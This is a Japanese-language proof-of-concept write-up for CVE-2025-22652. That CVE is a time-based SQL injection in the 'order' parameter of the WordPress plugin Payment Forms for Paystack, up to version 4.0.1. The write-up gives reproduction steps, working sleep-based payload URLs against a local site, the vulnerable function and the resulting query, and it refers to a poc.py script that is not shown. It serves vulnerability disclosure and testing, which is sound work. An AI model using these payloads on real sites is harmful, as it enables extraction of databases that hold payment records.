
CVE-2025-22652のPoC
WordPress プラグイン
コンポーネント名 Payment Forms for Paystack
脆弱性のあるバージョン <= 4.0.1
コンポーネントスラッグ payment-forms-for-paystack
コンポーネントリンク https://wordpress.org/plugins/payment-forms-for-paystack/
脆弱性クラス A3: インジェクション
脆弱性タイプ SQLインジェクション
管理者
Payment Forms for Paystack プラグインバージョン4.0.1以下では、支払いフォームの支払いリストを表示する際に、URLパラメータ order に対する入力検証とエスケープ処理が不十分なため、SQLインジェクションの脆弱性が存在します。これにより、管理者権限を持つ攻撃者は、対象サイトのデータベースからすべての情報を抽出できます。
この脆弱性では直接データのクエリはできませんが、Time-based SQL Injection 技術を使用してデータを抽出できます。
Payment Forms for Paystack プラグインバージョン4.0.1以下がインストールされたWordPressサイトを用意します。
ルックアップを実行するにはPaystackフォームを追加する必要があるため、Paystackフォーム追加メニュー(wp-admin/post-new.php?post_type=paystack_form)からフォームを追加します。

フォームを追加したら、ショートコードを確認し、以下のURLのURLパラメータ form にそのショートコードの属性IDを挿入してからアクセスします。
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
例えば、[pff-paystack id="13"] の場合、http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1) にアクセスします。

その結果、URLパラメータ order に挿入されたSQLインジェクションペイロードの条件句 where 1=1 が常に真であるため、sleep(5) 関数が実行され、5秒後に応答が届くことを確認できます。
脆弱性が発生するURLをリクエストすると、ファイル /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php 内の get_payments_by_id 関数が呼び出されます。
このとき、URLパラメータ order は入力検証やエスケープ処理が行われずにSQLクエリに直接挿入され、データベース上で実行されます。

したがって、SQLインジェクションペイロード , (select sleep(5) from dual where 1=1) がURLパラメータ order に挿入されると、以下に示すSQLクエリが実行されます。このとき、ペイロード内の条件句が真か偽かによって応答時間に差が生じ、この時間差を利用してデータベースからデータを抽出できます。
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)
エディタでPoCコードを開き、WordPressサイトのアドレスと管理者の認証情報を入力します。

次に、以下のコマンドを入力してPoCコードを実行します。
Required modulerequests
python poc.py


一方、order に挿入されたSQLインジェクションペイロードの条件句を where 1=2 に変更すると、応答が即座に届くことを確認できます。
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
例えば、[pff-paystack id="13"] の場合、http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2) にアクセスします。
